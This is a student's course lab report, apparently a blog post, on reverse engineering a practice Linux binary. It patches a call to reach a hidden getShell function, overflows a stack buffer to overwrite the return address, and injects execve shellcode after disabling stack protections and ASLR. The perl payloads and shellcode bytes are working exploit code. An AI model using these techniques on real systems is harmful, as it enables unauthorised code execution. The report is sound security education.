2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解

一、实践目的

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践要求

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段

    • 强行修改程序执行流

    • 以及注入运行任意代码。

三、相关知识点

1.反汇编指令

objdump -d pwn1 | more
object dump 项目导出
-d disassemble 反汇编
| 管道符,把一个命令的标准输出传到另一个命令的标准输入中
more 分页显示

2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

3.掌握反汇编与十六进制编程器

反汇编指令objdump -d filename

object dump 项目导出
d disassemble 反汇编
|管道符,把一个命令的标准输出传到另一个命令的标准输入中
more 分页显示

  • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
    • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
    • 输入:%!xxd将显示模式切换为16进制模式;
    • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

四、实践内容

(一)任务一 直接修改程序机器指令,改变程序执行流程

思路

  • 找到getShell函数的位置
  • 修改main函数中,call指令的参数,使得程序调用getShell函数

步骤

  • 下载目标文件pwn1,使用objdump -d pwn1对pwn1反汇编:

  • 主函数中call 8048491 <foo>的汇编指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ffffffe8为跳转之意。当解释执行e8这条指令时,CPU就会执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值

  • main函数调用foo,对应机器指令为e8 d7ffffff

    • 那如果要修改后让它调用getShell,只要修改d7ffffffgetShell-80484ba对应的补码就可以
    • 通过计算804847d-80484ba得到补码为c3ffffff
  • 由此我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

    • 所以我们使用Esc+:%!xxd将其转换为16进制显示出来,/d7ff查找所需更改处,回车选中d,使用r修改,即rc+r3,:%!xxd -r将文件再次转换为机器代码,如果不这么做会导致无法运行,然后Esc+:wq保存退出。

  • 运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程

(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 首先依旧是反汇编pwn1,可见运行时调用如下foo函数,有Buffer overflow漏洞,其指令lea只为用户预留了1c=28个字节,如果超出则会造成溢出,覆盖返回地址

  • 我们使用gdb进行调试确定输入字符串到哪里时会覆盖到返回地址:

  • 使用gdb调试pwn1,使程序发生段错误,使用info r查看寄存器的值

  • 此时eip的值为0x35353535,35的ASCII码表对应为5,所以我们将所有的5改为12345678,确认具体是哪一位之后造成溢出:

  • 可见是4321,并知道存储方式为小端模式,所以我们只要把1234替换为getShell的内存地址,在运行pwn1时输入,我们就可以实现改变程序执行流

  • getshell的内存地址为0804847d,因为是小端模式,所以我们应输入11111111222222223333333344444444\x7d\x84\x04\x08,perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input使输出重定向>将perl生成的字符串存储到文件input中。

  • 执行后使用16进制查看指令xxd input查看input文件的内容是否如预期。

  • 然后使用(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。

  • 经测试程序已经调用了getShell函数,达到了改变程序执行流的目的

(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。

1. 准备shellcode

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

2. 攻击思路

  • 攻击思路还是利用缓冲区溢出
  • 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
  • 返回地址不再是修改为getshell的地址,而是shellcode的地址
  • 确定shellcode的位置,一般放在EIP之后
  • 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
  • 在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式

3. 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    • retaddr+nop+shellcode(一般来说使用RNS的形式)
    • nop+shellcode+retaddr(约束shellcode的大小)
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

4. 实验步骤

  • 设置堆栈可执行
execstack -s pwn1_20175316 //设置堆栈可执行
execstack -q pwn1_20175316 //查询文件的堆栈是否可执行
  • 关闭地址随机化(若文件权限不够,则输入sudo -s),2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
echo "0" /proc/sys/kernel/randomize_va_space             //关闭随机化

  • 注入一段代码,我们首先构造一个input_shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 使用xxd input_shellcode查看文件内容

  • 通过管道符|,作为pwn1的输入,格式为(cat input_shellcode; cat ) | ./pwn1_20175316

  • 在另外一个窗口ps -ef | grep pwn1_20175316能看见当前运行pwn1的进程号为2662;

  • 启用gdb调试进程,输入attach 2662动态调试当前进程号进程

  • 使用disassemble foo反编译

  • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

  • 再在gdb调试的终端输入c继续运行程序

  • info r esp查看esp寄存器地址

  • x/16x 0xffffd36c以16进制形式查看0xffffd36c地址后面16字节的内容

  • 0xffffd36c存放的数据是01020304,那么shellcode地址就是0xffffd370

  • 修改input_shellcode文件对应代码为:

perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 然后使用(cat input_shellcode;cat) | ./pwn1_20175316将input_shellcode的输入,通过管道符“|”,作为pwn1的输入。
  • 经检验实现了shell功能:

过程中遇到的问题


原因:注入地址不对
应为perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

实践总结

什么是漏洞?漏洞有什么危害?

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
漏洞会影响到的范围很大,包括系统本身及其支撑软件,网络客户和服务器软件,网络路由器和安全防火墙等。换而言之,在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备,同种设备的不同版本之间,由不同设备构成的不同系统之间,以及同种系统在不同的设置条件下,都会存在各自不同的安全漏洞问题。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

心得体会

通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。
通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。本次实验虽然比较简单,但是过程也出现了很多问题,比如之前共享文件夹的设置没有完全成功,折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...我特别感谢刘老师和帮助我解决问题的给我同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便~

posted on 2020-03-11 23:26  20175316  阅读(168)  评论(1编辑  收藏  举报